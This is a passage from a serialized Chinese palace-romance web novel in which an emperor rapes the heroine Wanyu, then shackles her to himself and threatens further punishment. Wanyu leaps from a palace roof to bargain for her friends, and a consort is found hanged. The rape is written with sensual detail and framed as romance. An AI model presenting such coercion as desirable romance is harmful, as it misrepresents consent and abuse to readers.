徐清盏弯腰一把抓住了她的领子,“你为什么要这么做,你知道她有多谨慎吗,五年来她从未开口和我说过一个字,你为什么要引诱她说话,为什么要在最后一天犯这种愚蠢的错误?” “对不起,我错了,我没想到,我真的没想到皇上会突然回来……” 徐清盏冷笑一声:“是没想到皇上会回来,还是你压根就没想让她走?” 齐嫔愣住,不可思议地看着他:“你在说什么,我承认今晚的事是我的责任,可这几年不都是我在拿命护着她吗,我为什么不想让她走?” “因为你不想让她和长安在一起。”徐清盏冷冷道,“你放不下沈长安,你不想别的女人得到他的爱。” 齐嫔猛地推了他一把,从他手中挣脱,气愤道:“徐清盏,你怎么可以这样揣测我?你又凭什么这么揣测我?” “因为我也曾和你一样,不想让晚余离开。” 徐清盏的脸在火折子的光亮里忽明忽暗,头一回将自己的阴暗心思坦露出来,“哪怕长安是我最好的兄弟,我也曾不止一次地想过把晚余留在宫里,我只要一想到她会和长安远走高飞,我就心如刀绞,甚至想做点什么破坏他们。” “但我最终都忍住了,因为我爱她,不忍看她难过,如果我为了一己私欲把她留在宫里,那我和皇上有什么区别?” “所以,我选择了成全。” “就像最初的你一样,不也是想要成全他们,让他们替你去过你过不了的生活吗?” 齐嫔瞪大眼睛,错愕地看着他,嘴张了又张,却什么也说不出来。 徐清盏定了定神,收起那一瞬间的真情流露,又变成那个冷血无情的掌印大人:“皇上不会突然回来,肯定是有人给他送了什么信儿,送信儿的那个人,肯定是不想让晚余走的人,这满宫的妃嫔,你告诉我,哪一个不想让她走?” “那又怎样,就算大家都想让她走,你就可以怀疑我吗?”齐嫔的泪无声而下,“我要是不想她走,不想成全她和长安,这五年我又何苦为她殚精竭虑?” “因为人心易变,你上一刻的想法,未必就是这一刻的想法。” “这么说,你认定是我了?”齐嫔捶着自己的心口绝望哭喊,“那你杀了我,我对不起晚余,对不起长安,我反正也不想活了,你就当是我,给我一个了断吧!” 徐清盏不为所动,目光冷冰地看着她:“你们说话的时候,有没有提起长安,有没有提起我?” 齐嫔想了想:“提了你的名字,没提长安的名字。” 徐清盏嗤笑:“可见你不是不谨慎。” 齐嫔顿时涨红了脸:“徐清盏,我在你这里是洗不清了是吗?你这样侮辱我,不如杀了我。” 本小章还未完,请点击下一页继续阅读后面精彩内容!“我不杀你,因为你对晚余确实有恩,但是……”他停顿了一下,才又缓缓道,“别让我查出什么,否则我灭你满门!” 他丢下这句话,熄灭了火折子,转身大步而去。 齐嫔跌坐回黑暗里,浑身止不住地颤抖,连牙齿都在打战,不知是冷的,是气的,还是吓的。 徐清盏却又折返回来:“记住,这一切都和长安没有关系,你没进宫之前就认识我,你爱慕的人也是我,晚余救过我的命,我和她两情相悦,打算等她出宫后远走高飞,是我求你帮助我们的。” 齐嫔惊诧地看着他,黑暗中却什么都看不清,只有一个模模糊糊的轮廓,那样高大而寂寥,像一棵寂寥的默默承受风雨的树。 徐清盏再次回到永寿宫时,永寿宫的院子里已经是灯火通明,兰贵妃和一众嫔妃都站在院子里,太后被两个宫女扶着,望着紧闭的殿门唉声叹气。 殿内令人脸红心跳的动静还没停歇,女孩子的哭泣声就像一把刀,狠狠扎进徐清盏的心房。 他默默走上前,向太后行礼。 太后一把抓住他的手腕:“徐掌印,你来了,你要不要进去劝一劝皇帝,他刚被群臣弹劾过,陈御史撞得头破血流还在家躺着,明天又是他生母的忌日,他做出这种事,名声还要不要了?” 徐清盏低眉敛目,藏起所有的情绪:“臣知道太后着急,可皇上的火总要撒出来才行,这会子谁进去都不管用。” 太后是过来人,自然明白这个道理,只得摇头一声长叹:“造孽啊!” 又等了不知多久,殿中的风暴总算停歇。 暖阁里已经是狼藉一片,晚余绵软无力地躺在炕上,乌发凌乱,不着寸缕,细白的手腕被绣金线的腰带磨破了皮,白瓷般的身子布满青青紫紫的痕迹,香艳靡丽又触目惊心,如同狂风暴雨中零落一地的花。 她的眼泪已经流干,双眼无神地望着虚空,除了胸口还有微弱的起伏,几乎和死人没什么两样。 祁让抽身出来,面无表情地看了她一眼,而后慢条斯理地清理了自己,捡起龙袍罩住她光裸的身子,将她拦腰抱起,大步向外走去。 “胡尽忠,开门!” 这一嗓子喊出来,所有人的心都跟着跳了几跳,齐刷刷跪了下去。 胡尽忠战战兢兢地开了门。 廊下宫灯照出皇帝只穿着白色中衣的身影,怀中抱着一个用龙袍包裹的纤弱躯体。 玄色的龙袍,金线绣成的五爪金龙,凌乱的青丝逶迤垂下,一只纤纤玉足裸露在外,白得晃眼。 如此强烈的视觉冲突,让所有人都不自觉屏住了呼吸。 祁让望着跪了一院子的人,抱着晚余迈步走下台阶:“都来了,很好,朕正好有事要宣布。” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第106章 将她抱进了浴桶里 令人窒息的寂静里,太后上前一步,正要开口,被祁让冷声打断:“母后稍等,朕说完您再说。” 太后被他阴冷的眼神吓得心尖一颤,默默闭了嘴,向后退开。 祁让站定在众人面前,目光如刀从每个人脸上扫过,缓缓开口道:“齐嫔犯欺君之罪,贬为庶人,打入冷宫,江氏晚余的哑疾已好,且已被朕临幸,现封为采女,赐居咸福宫西配殿。” 此言一出,众人神色各异。 齐嫔欺君,难道江晚余就没欺君吗,凭什么一个贬为庶人,一个却给了位分? 可话说回来,采女是最末等的位分,皇上既然这么喜欢她,为什么给她这么低的位分,让她被所有人都压上一头? 况且咸福宫的主位康嫔,以及住在东配殿的赵美人,又都不是什么善茬。 皇上这是打算让她被人欺负死吗? 看来皇上这回是真真切切动了大怒的。 只是不知道这怒火能撑几天? 他若一直这样狠心倒也罢了,咸福宫相对偏僻,这女人在康嫔手里活不了几天。 可他偏偏又把人抱在怀里,还把自己的龙袍给这女人穿,怎么看也不像是绝情到底的样子。 万一转个脸又心软,又把人当宝贝捧着,当菩萨供着,事情可就难办了。 正想着,就听祁让道:“咸福宫主位何在?” “臣妾在。”康嫔连忙起身上前,听候吩咐。 祁让看了她一眼,像是很眼生,一时记不起来的样子,片刻后才道:“你明天带人把西配殿收拾出来,而后亲自到乾清宫接江采女过去。” “臣妾遵旨。”康嫔恭敬应声,暗中磨了磨牙。 她好歹是一宫主位,皇上居然叫她给一个末等采女打扫房间,还要她亲自去接。 皇上什么意思,是要让她给这狐媚子当使唤丫头吗? 其他妃嫔却想,皇上真会给江晚余拉仇恨,他难道不知,他越是这样,康嫔越会嫉恨江晚余? 还是说,皇上打的就是这个主意? 他是想让江晚余受不了磋磨,从而向他求救,向他服软吗? 可这一身傲骨的女人,会如他所愿吗? 祁让吩咐完,转头看向太后:“母后有何话说?” 太后一脸无奈道,“你已经有了决断,哀家的话不说也罢。” “既如此,母后便早些回宫歇息吧!” 祁让抱着人就要走,太后又叫住他:“明日是你母妃的忌日,你这个时候回来可如何是好?” 祁让说:“儿子今日已经祭拜过母妃,只要心诚,早一天晚一天都没关系,朕明日就不去了。” “……”太后欲言又止,点头道,“这倒也是,你去过了,孝心就算尽到了。” 祁让将怀里的人往上托了托,举步要走,眼角余光看到一旁伺立的徐清盏,冷冷道:“徐掌印也随朕一起回乾清宫吧,朕有话问你。” 徐清盏应了一声,做出谦卑的姿态跟在他身后。 太后望着皇帝的背影,眼神变得意味深长。 只是众人的视线都在皇帝身上,并没有人注意到她。 胡尽忠直到这会子才猛地回过神,忙打着灯笼,招呼一群侍卫跟上。 灯笼晃晃悠悠的光亮里,晚余垂落在龙袍之外的那只脚,随着祁让的步伐一下一下晃动着,像一条垂死挣扎的鱼。 徐清盏盯着那只脚,一颗心如同被万箭穿刺,千疮百孔。 小鱼。 他最终还是没能护住他的小鱼。 他以为自己已经足够强大,可他的强大,在绝对的皇权面前,根本不值一提。 所以他只能像个废物一样跟在皇帝身后,看着自己心爱的姑娘被皇帝抱在怀里。 他多想走上前去,把她裸露在外的脚盖起来。 可是,就这么一个小小的念头,他都不能付诸行动。 她的脚一定很冷吧? 她的心,也一定很冷吧? 她这会儿是清醒的,还是昏迷的? 他宁愿她是昏迷的。 这样就不会觉得冷,也不会觉得疼了。 她的心该有多疼? 她该如何接受这个现实? 长安还什么都不知道,一心等着他的姑娘明天出宫。 他也不知道,他的齐家姐姐很有可能在最后关头摆了他一道。 等明天消息传出去,他又该如何接受这个现实? 心念转动间,已经到了乾清宫的月华门。 祁让在门口停住脚步,对徐清盏道:“你就在这里跪着,朕什么时候叫你,你什么时候进去,朕不叫你,你就一直跪着。” “是!”徐清盏二话不说,走到大门一侧,屈膝跪了下去。 祁让没再多看他一眼,抱着晚余向里面走去。 乾清宫值夜的宫人都惊呆了,急急忙忙把各处的宫灯点亮,胆战心惊地听候差遣。 祁让一口气把人抱回了寝殿,放在龙床上,对胡尽忠吩咐道:“准备热水。” “是!” 胡尽忠惯会耍嘴皮子拍马屁的人,今晚也吓坏了,一晚上除了应是一个字不敢多说。 本小章还未完,请点击下一页继续阅读后面精彩内容!他走后,祁让阴鸷的目光转向龙床,落在女孩子没有一丝血色的小脸上。 他恨上来,真想一刀杀了她。 可她骗了他五年,一刀杀了岂非太便宜她? 他要留着她慢慢折磨,把这五年的债一点一点讨回来。 少顷,几个小太监抬着一个大浴桶走进来,浴桶里的水热气腾腾冒着白雾,里面飘着红艳艳的花瓣,隐约还有药草的清香。 祁让吸了吸鼻子,微微皱眉。 胡尽忠忙解释道:“是一些活血化瘀的药草,皇上和晚余姑娘,哦不,皇上和江采女这一番伤筋动骨的,泡一泡有助于缓解疲乏。” 祁让嗯了一声,摆手示意他出去。 胡尽忠将两套干净的寝衣搁在床尾,带着几个小太监退了出去。 祁让扯下盖在晚余身上的龙袍,将她抱起来放进了浴桶里。 晚余跟死了一样,不反抗,也不出声,祁让一松手,她的身子就软绵绵地向水底滑去。 祁让冷笑一声:“怎么,想这样淹死自己吗?不想朕和你共浴,就给朕老实坐好!” 晚余立刻挣扎着坐了起来。 祁让咬咬牙,弯腰钳住了她的下巴:“你都这样了,还在抗拒朕!” “你以为你抗拒得了吗?” “从今往后,你就是朕的妃嫔,给朕生儿育女,陪朕老死宫中!” 他另一只手探进水里,落在她光滑平坦的小腹上,语气恶劣道:“这里兴许已经有了朕的孩子。” 晚余扬起手,一巴掌打在他脸上。 她已经没什么力气,只是手上带了水,打在他脸上,发出很清脆的一声响。 祁让狭长的凤眸立刻染上了怒火,脱下中衣进入水中,将她摁在了浴桶上。 “朕本想让你缓一缓的,现在这样,是你自找的!” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第107章 让你亲眼看着我死在你面前 疼痛袭来,晚余忍不住发出一声痛呼。 她的嗓子早在永寿宫的暖阁里就已经哭哑了,这会子更是哑得几乎发不出声音。 她使出浑身力气挣扎,那力道对于祁让来说,和一只小猫没什么区别。 她的指甲一下一下挠在他赤裸的胸膛,也只是给他带来一道道红痕,连皮肉都伤不到。 浴桶里的水混合着花瓣流了一地。 “很疼是吗?”祁让冷声道“疼就对了,疼你才能长记性,才知道欺骗朕的后果。” “你求朕,只要你开口,朕就放过你。” 晚余流着泪,却倔强地不肯向他低头,反倒双手搂住他的脖子,狠狠一口咬了上去。 她咬得那样用力,使出了全身的力气,恨不得将他咬死在这里。 可她即便用上所有的力气,也没有多少力气。 最终还是承受不住,自己松了口,发出痛苦的呻吟。 她仍不肯求他,只拿一双充满仇恨的眼睛看着他,像是在说,我死都不会求你。 祁让气恼,把她往死里折腾。 可他直到最后还是没等来她一句求饶的话。 半个时辰后,胡尽忠得到命令带人进去收拾,浴桶里的水已经所剩无几,地上到处是蜿蜒的水流和零落一地的花瓣。 胡尽忠暗叫一声“乖乖!” 他好心弄了药浴给皇上解乏,皇上这乏到底是解了,还是更乏了? 他指挥着小太监打扫战场,自个小心翼翼地抬眼往龙床上看。 龙床被层层叠叠的纱幔遮挡,影影绰绰看不真切,只能看到皇上面朝里侧躺着,那姑娘的身子被他挡得严严实实,一根脚趾头都看不见。 甭管怎么着,皇上这回总算是得偿所愿了。 只是这动静闹得实在太大,回头风声传出去,言官们肯定又要疯。 好在明儿个是圣母皇太后的忌日,不用上早朝,皇上还有一天的时间可以想想如何应对。 晚余姑娘还是宫女的时候,就已经被言官们说成是红颜祸水,如今被皇上纳入后宫,真要变成那些人口中的祸国妖妃了。 皇上恨她恨得要死,还会像从前那样护着她吗? 这两个刺猬一样的人,今后又该如何相处? 他摇头叹息,带着打扫完战场的小太监退了出去。 床上的两个人都累到脱力,晚余浑身酸软,某处撕裂般的疼痛,手指都抬不起来。 她是那样抵触祁让的怀抱,却连推开他或者挪远一些的力气都没有。 她只能认命地被他抱着,男人铁一般的手臂将她紧紧圈住,像一把大锁,锁住了她往后的人生,锁死了她下半辈子的命运。 眼泪无声而下。 阿娘死了。 她和长安的缘份也断了。 那她活着还有什么意义? 她心如死灰,睁着眼睛望着头顶层层叠叠的纱幔,直到身边的男人困倦地睡去,发出深沉的呼吸。 要是能杀了他就好了。 和他同归于尽也是好的。 可她手无寸铁,也没有任何把握可以杀死他。 最终的结果,只会得到他更凶狠的惩罚。 她流着泪,拼尽最后一丝力气,从他怀里挣脱出去,悄悄爬下了龙床。 祁让一天时间从京城到皇陵跑了个来回,加上这半晚上的折腾,实在是累极了,一合上眼就沉沉睡去。 仿佛过了很久,又仿佛只是一瞬,胡尽忠突然慌慌张张地跑进来叫醒了他:“万岁爷,不好了,江采女爬到房顶上去了!” 祁让一个激灵睁开眼睛,身边果然空无一人。 该死的! 他明明抱得那样紧,还是被她挣脱了。 她要干什么,想从房顶跳下来吗? 祁让猛地坐了起来,脸上睡意未消,却已燃起腾腾怒火。 他撩开帐子下了床,只穿着寝衣就大步向外走去。 “我的爷,外面天寒地冻的,您小心冻坏了身子。” 胡尽忠拿着披风追出去,要帮他披上,被他一把夺过去,烦躁地披在肩上:“别管朕,去把徐清盏给朕带过来,她要敢跳,朕就杀了徐清盏。” “是。” 胡尽忠应了一声,吩咐两个小太监伺候着,自己一路小跑去了月华门。 还是皇上脑筋转得快,眼下这光景,也只有拿徐清盏来牵制江采女了。 也难怪皇上动这么大的怒,谁能想到他最上心的女人和最贴心的属下竟然背着他勾搭在一起呢! 只是江采女现在万念俱灰,徐清盏能牵制住她吗? 亲娘哎,这可真是要了老命了! 胡尽忠这边跑出去,祁让也到了殿外的月台。 此时已是三更将近,四周漆黑沉寂,宫人们正举着灯笼火把往上照。 乾清宫有双重屋檐,殿内设有二层阁楼,阁楼有通风的小窗可以爬出去。 祁让抬头望去,果然看到两层屋檐中间的匾额前站着一个瘦弱的身影,正伸长脖子望向远方。 远方是隐在暗夜里的重重宫殿楼阁,即使她站得这样高,也看不到外面的世界。 她所有的衣裳都被祁让撕得稀烂,身上只穿着胡尽忠后来为她准备的寝衣。 夜风飒飒,将她的衣袖和裤管吹得鼓起来,仿佛随时都会乘风归去。 十几名侍卫紧张地分散在她周围,谁也不敢轻举妄动。 只因屋顶的琉璃瓦本就光滑,如今下了雪,结了冰,更是湿滑难行,纵然侍卫们身手了得,也不敢保证万无一失。 祁让看得心惊肉跳,冲她厉声喊道:“江晚余,你要做什么?” 晚余听到他的声音,低头向他看过去。 两人的目光隔空相交,一个冰冷如刀,一个恨意滔天。 “你终于来了。”女孩子嘶哑的声音带着解脱的笑意,“我要当着你的面跳下去,让你亲眼看着我是如何死在你面前的!” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第108章 这招对朕不管用 祁让仰着头,怒视着那个身处危险之地,却还倔强地挺直着腰背的女人,心头火噌噌地往上冒。 他向来高高在上,今天还是头一回以这种姿态仰视一个女人。 也是头一回知道,世上真有这样宁死不回头的女人。 这样千载难逢的女人,竟让他给遇到了。 他气得发出一声嗤笑,漆黑的瞳仁里半是怒火半是讥诮:“江晚余,你越发能耐了,你敢跳一个试试!” “有何不敢?”晚余迎着风展开双臂,乱发在风中狂舞,“我已经什么都没有了,还有什么好怕的?” “祁让,你以为强占了我,就可以将我留在这里吗?” “我就是要让你知道,即便你身为皇帝,也有你得不到的人!” “我的心,永远不会属于你!” 沙哑的声音在夜风里回荡,实在不怎么悦耳。 祁让咬紧了牙关,凤眸危险地眯起。 自从登基以来,已经没人敢再直呼他的姓名。 眼下,这女人居然当着整个乾清宫的宫人和侍卫叫他的名字,还对他喊出这些话。 看来她是真没打算活着下来。 祁让双手背在身后,用力捏紧拇指上的翡翠扳指,语气凉薄如水:“朕自己都没有心,朕要你的心做什么? 在朕眼里,你不过是个暖床的工具,你以为你死了,朕就会后悔,会内疚,会痛断肝肠吗? 那你未免太高看自己,朕的后宫,最不缺的就是女人,你不过是其中之一。” 他顿了顿,神情漠然道:“你只管跳一个试试看,看朕会不会为你皱一下眉头……” 话音未落,晚余就猛地向前迈出一步。 引得底下的宫人们一阵惊呼。 祁让霎时变了脸色,发出一声怒吼:“你给朕站住!” 这一嗓子喊出来,他就后悔了。 他刚说过他不在乎,人家只是迈出一步,他就失了控。 看着那女人视死如归的模样,他黑着脸道:“你说,你要怎样才愿意下来,除了出宫,朕都可以考虑。” 晚余稳住身形,抿了抿冻得快要失去知觉的双唇:“我已经被你玷污,也没指望你会放我走,我可以安分守己地待在你的后宫,但我有一个条件, 你不要再追究以前的事,也不要再追究徐清盏和齐嫔的过错,把齐嫔从冷宫放出来,让徐清盏离开京城,全当这件事从没发生过。” 祁让先是一愣,随即反应过来,这女人根本就没打算死,而是在用她自己的性命来保全徐清盏。 先前他那样的折腾她,她都不肯低一下头,而今却为了徐清盏,爬上这高高的宫檐来和他讲条件。 嫉妒与怒火在心底腾腾升起,祁让气得脸色铁青,想杀人的心都有了。 他是这天下的主宰,却要被一个女人牵着鼻子走。 他比不过沈长安也就算了,连徐清盏这样一个太监都比不过吗? 她居然把他对她的临幸说成是玷污。 他堂堂一国之君,九五至尊,她说他玷污了她。 他冷笑一声,嗓音像是淬了冰,冷到极致:“你自己也是欺君之罪,朕能留你一条命已经是格外开恩,你居然还要替别人求情。 你知不知道,他们二人的罪过,满门抄斩都是轻的,你居然让朕将他们无罪释放。 你以为你是谁,你不过是你父亲送到朕身边的替罪羊,你有什么资格和朕讲条件? 想用自己的命来逼朕就范,你趁早死了这条心,这招对朕不管用!” “好!”晚余点点头,不再多言,向前一步,踩着湿滑的琉璃瓦从屋顶一跃而下。 祁让倒吸一口气,心脏猛地缩紧,冲着那飘飘落下的身影飞奔而去。 恰好这时,徐清盏跟着胡尽忠从西边廊庑匆匆而来,一眼就看到女孩子单薄的身影,像一只断了线的白色风筝从高空飘摇坠落。 “小鱼!”他惊呼出声,身子腾空而起,如同一只展翅的大鸟向那边直冲过去。 但他还是晚了一步。 祁让赶在他到来之前双手接住了女孩子坠落的身体,两人一起摔倒在地上。 晚余的身子整个砸在祁让身上。 祁让疼得闷哼出声,没等他缓一口气,徐清盏已经到了跟前,弯腰去拉晚余。 祁让立刻收紧双臂将人搂着,厉斥一声:“滚开!” 徐清盏退后一步跪下,目光却一刻都没从晚余身上离开。 胡尽忠大呼小叫地跑过来:“哎哟哟,我的万岁爷,您可吓死奴才了,您这万金之躯,怎能以身犯险?” 说着又去骂那些惊呆了的宫人和侍卫:“你们都是死人吗,万岁爷要是有什么闪失,你们全家的脑袋都别想要了!” 他絮絮叨叨,又数落起了晚余:“江采女,不是奴才说你……” “行了,你别说了!”祁让不耐烦地打断他,坐起来,压抑着满腔的怒火掐住晚余的下巴,“你到底要怎样,你真当朕不敢杀你吗?” 可他刚刚才拼死把人救下,这句话说得再怎么气吞山河,也没有人相信。 晚余的身体已经是强弩之末,费力地向徐清盏伸出手:“清盏,你怎么样?” 清盏? 她叫得倒是亲切! 祁让抱着她,后槽牙磨得咯咯响。 徐清盏给了晚余一个惨淡的笑:“我没事,你要好好活着,别再犯傻,一切都会好的。” 一切都会好的? 晚余的眼泪夺眶而出:“已经这样了,还会好吗?” “会的,你相信我,我从不骗你。”徐清盏柔声道,“正因为现在已经是最糟的境地,所以以后的路都是向上的。” 晚余哀哀地看着他,泪流满面。 祁让气得心肝疼,拉着她站起身,将她和徐清盏隔开,一只手捏住她的下巴:“你在干什么,在当着朕的面公然和一个太监调情吗?” 晚余身子直晃,用尽最后的气力与他对抗:“不管我先前喜欢过谁,但我的身子是清白的,你强占了我,我也认了,我只想让你不要再计较以前的事,放过齐嫔和徐清盏。 你若不同意,我就天天寻死,总有一天我能死成的,你不信,就试试看。” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第109章 朕有的是手段惩罚你 祁让有生以来,头一回被一个女人气到无语。 这该死的女人! 她凭什么向他提出这样的要求。 她联合别人欺君罔上,她还有理了? 她人在他身边,心里却想着别人,她还有理了? 她为什么敢一次又一次地在他忍耐的极限试探,不就是他每次说要杀她都没有杀吗? 眼下众目睽睽,他若答应了她,叫他皇帝的脸面往哪搁? 可她现在已经破罐子破摔,如果不答应她,她就不会消停,她真的会一直不停的寻死。 他不想她死,也不想被她拿捏,阴沉着脸一言不发。 这时,一个小太监匆匆而来:“皇上,出事了,齐嫔娘娘死了!” “什么?”胡尽忠尖着嗓子惊呼一声,“齐嫔死了?怎么死的?” “吊死的。”小太监说,“但不确定是自己吊死的,还是被人吊死的。” 胡尽忠的脸色白了白,感觉后背阴风阵阵:“皇上,这,这可如何是好?” 祁让还没开口,晚余已经一口血吐了出来。 阿娘因为她吊死了。 现在齐嫔也因为她吊死了。 因为她,还要再死多少人? “是不是你,是不是你?”她不管不顾地抓住祁让的衣领,“你不肯答应我,是因为你早就派人把她杀了,是不是?” 宫人们都惊得瞪大眼睛,纷纷转过身背朝皇帝,不敢再看。 他们在乾清宫伺候这么久,还是头一回见有人敢揪住皇上的衣领质问皇上。 江采女真的不要命了! 祁让黑着脸将她的手拉下来,冷声道:“朕要杀她,何须偷偷摸摸?” “不是你是谁?”晚余眼前阵阵发黑,身子摇摇欲坠,“就算不是你,也是被你逼死的,你已经逼死了我阿娘,逼死了齐嫔,你还要再逼死多少人,下一个,是不是就轮到徐清盏了?” 祁让咬了咬牙,怕她摔倒,伸手抓住她一只胳膊,恶狠狠道:“朕看在你吐血的份上,不与你计较,你不要得寸进尺。” “皇上。”徐清盏膝行两步,趴在地上给祁让磕头,“请皇上屏退左右,臣有话要讲。” “你?”祁让嗤笑一声,居高临下地看着他,“你骗了朕五年,你以为你的话朕还会信吗?” 徐清盏跪伏于地,将姿态放到最低:“臣欺骗了皇上,臣罪该万死,皇上宽不宽恕臣都不重要,但臣要说的话事关重大,恳请皇上再信臣一回。” 祁让默默看了他片刻,摆手示意胡尽忠带人退开:“说吧,让朕听听你的临终遗言。” 徐清盏又磕了个头,缓缓道:“臣先前去冷宫看过齐嫔,齐嫔并没有轻生的念头,如果不是皇上赐死了她,必定是有人要杀她灭口,臣一早就怀疑皇上突然回京是不是收到了什么消息,今晚的事,只怕我们都是别人的局中人。” 祁让又是一声冷笑:“你去过冷宫?朕前脚把人关进去,你后脚就跟了去,焉知不是你怕齐嫔供出你们的秘密,抢先杀她灭口,然后在这里贼喊捉贼?” “臣没必要那样做。”徐清盏说,“臣与江采女的事已然被皇上知晓,就算杀人灭口也晚了,臣是觉得今晚的事有蹊跷,才到冷宫去问齐嫔。 齐嫔的话颇有漏洞,臣猜想她可能是被人威胁,于是便到永寿宫去找皇上,结果皇上正在……” 他及时打住,又磕头道:“皇上,这件事只有让臣来查方才稳妥,等臣查出真相,皇上要杀要剐,臣都坦然接受。” 祁让冷眼看着他,并没有立刻答应。 徐清盏看了晚余一眼,又道:“外面太冷了,江采女身子亏空,这么冻下去会出事的,皇上让她先进去吧,剩下的容臣慢慢和您说。” “你倒是会心疼人。”祁让冷哼一声,借着这个台阶,抱起晚余往殿里走去,“朕现在什么都不想听,你要查就去查吧,明日天黑之前,朕要听到结果,否则你也不必来见朕,自行了断即可!” “是!”徐清盏大声应是,看着晚余被他抱在怀里进了大殿,万般滋味涌上心头。 不管怎样,皇上对晚余和自己还是手下留情了,否则,以皇上的狠辣,早在永寿宫的时候就把他们三个都杀了。 接下来该怎么办,他也没了主意,只能等明天见了长安再说了。 他撑着酸痛的膝盖站起来,缓了缓,便又挺直腰背,大步而去。 祁让一口气将晚余抱回寝殿,扔在龙床上,对跟进来伺候的胡尽忠吩咐道:“去慎刑司给朕拿一副镣铐来,要新的。” “啊?”胡尽忠吃了一惊,“皇上要那东西干什么?” 祁让把眼一瞪:“叫你去你就去,废什么话!” 胡尽忠吓得心肝直颤,忙不迭地去了慎刑司。 祁让看着他出去,随手解下披风扔在床尾,穿着寝衣上了床。 晚余如同惊弓之鸟,瑟缩着往墙角躲避,双眼戒备地看着他。 “怎么,你终于知道怕了?”祁让嗤笑一声,“你威胁朕的时候怎么不怕,从房顶上跳下来的时候怎么不怕?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!晚余紧抿着双唇瑟瑟发抖。 她现在什么都不怕,就是怕他做那种事。 他实在太狠,把她弄得好疼,她只要想一想就浑身打颤。 她受不了那种屈辱又疼痛的感觉。 祁让靠坐在床头,拍了拍自己身边的位置:“自己过来,别等朕对你动粗。” 晚余只得挪到他身边,掀开被子坐进去,紧绷着身子,尽量不碰到他。 祁让很是恼火:“你对着徐清盏那个太监浓情蜜意,却把朕这个皇帝当豺狼虎豹是吗?” 晚余低着头不说话。 祁让指指自己的胸膛,命令道:“靠过来。” 晚余本能地瑟缩了一下。 祁让越发火大,一把将人拽过来,强行把她的脑袋摁在自己胸口上。 她身子被冻透了,头发丝都是冰的,贴在他胸口的侧脸也冷得像块冰。 祁让又强行抓过她一只手圈在自己劲瘦的腰上:“抱紧了,好好感受一下,朕和那个太监到底哪个好。” 晚余紧张又屈辱地靠在他怀里,心说他根本不配和徐清盏比。 徐清盏就算是太监,也比他好千倍万倍。 但这话她终究没说出口,她害怕被他那样惩罚。 胡尽忠很快跑回来,气喘吁吁地把一副崭新的镣铐双手捧到祁让面前:“万岁爷,您要的东西。” 祁让接过来,让他退下,打开镣铐对晚余命令道:“把手伸进来。” 晚余脸色一白,立刻就要从他怀里挣脱。 “再动一下试试!”祁让厉声道,“朕有的是手段惩罚你!” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第110章 欢好之事这么难以承受吗 晚余听到惩罚二字就发抖,身体某处痛到收缩。 她不敢再挣扎,乖乖地把手伸进了镣铐里。 祁让盯着那漆黑的镣铐和她细白的手腕看了两眼,幽幽道:“这颜色不衬你,你若再不听话,朕就让人打一副纯金的给你,让你日日戴在手上。” 晚余屈辱地红了眼。 下一刻,祁让将镣铐的另一头铐在了自己手上。 晚余惊愕地看着他,感觉他像个疯子。 祁让像是读懂了她的眼神,淡淡道:“朕没疯,朕只是想睡个好觉,但前提是你要老实,否则的话……” 他没把话说完,意思却显而易见。 不老实,就会受到更加严酷的惩罚。 晚余此刻不敢不老实,低垂眉眼做出驯服的姿态。 祁让冷眼瞧着她。 她表面柔弱,内里实在是一匹难以驯服的野马,倘若真就这么容易妥协认命,自己也不用为了她费尽周折。 她现在,只不过是怕了那种事而已。 哪种怕都是怕,只要有怕的东西,他就能让她乖乖听话,假装听话也没关系。 他说过,他只是要她留在身边,爱或恨都不重要, 只是…… 他目光从她还沾着血的唇瓣扫过。 男女欢好的事,真就这么让她难以承受吗? 后宫那些女人,哪个不是盼星星盼月亮地盼着被他临幸。 说到底,她还是没死心,她的心还在别的男人身上,因此才会觉得和他欢好是折磨。 那个让她和齐嫔同时惦记的男人,到底是谁? 他可不相信是徐清盏。 比起徐清盏,他还是觉得沈长安更有嫌疑。 沈家和齐家是世交。 齐嫔曾在沈长安的接风宴上建议他把江晚余赐给沈长安。 沈长安当时一点都没犹豫,直接就向他求娶了江晚余。 那时他还问过徐清盏的意见,徐清盏说,沈长安只是不想尚公主,顺水推舟而已。 现在看来,他真是个傻子。 被这四个人耍得团团转。 就这,这女人还试图以命相逼,逼迫他饶过齐嫔和徐清盏。 祁让越想越气,拇指碾过她的唇,碾过她唇角干涸的血迹,恨不得将她再蹂躏一回。 连接在两人手腕之间的铁链被他的动作弄得哗啦作响,晚余惊恐地看着他,那双总是澄澈如湖水的眸子,此刻只剩下满满的畏惧。 祁让到底没将这个想法付诸行动,扬声吩咐外面的人送热水和预防风寒的汤药过来。 他亲自用帕子沾了热水,擦去晚余唇上的血迹,又亲自拿小勺子舀了汤药喂到她嘴边。 晚余不想让他喂,伸手去接药碗。 “怎么,嫌弃朕?”祁让蓦地冷下脸,“朕陪着你这个骗子喝了五年药,你有什么资格嫌弃朕?” 晚余只得张开嘴,喝下了那一勺药,苦得皱起眉头。 “苦吗?苦就对了。”祁让又舀了一勺喂过去,冷声道,“朕留着你的命,就是为了惩罚你,再苦你也要受着。” 晚余默不作声,一口一口喝掉这苦涩的药汤。 本来可以一口气喝完的药,祁让硬是分几十下才给她喂完,说是对她的惩罚。 晚余已经无所谓,此时此刻,她心里只有一个念头,只要不做那种事,怎样都行。 祁让很满意她的乖顺,喂完药,便搂着她躺下,一只手从她脖颈下穿过,让她枕着他的手臂。 另一只手本想圈住她的腰,碍于铁链的限制,便在身前握住她的手,一条腿搭在她腿上,将她整个禁锢在怀里。 晚余无力挣扎,默默闭上眼睛,任由他摆布。 两个人看似亲密无间,只是两具身体之间,隔了一条冰冷的铁链。 等到铁链被暖热的时候,两个筋疲力竭的人终于沉沉睡了过去。 乾清宫的宫人和侍卫也各自散去,回到自己的岗位。 次日一早,天气放晴,一轮红日从东方冉冉升起。 随着日头的升起,皇宫里兵荒马乱的一夜,以及江家三小姐被皇帝临幸,封了采女的消息也在京城逐渐传开。 沈长安起了个大早,虽然不能去宫门外迎接晚余出宫,他仍旧精心打扮了一番,想要等在她回江家必经的路旁,远远地看她一眼。 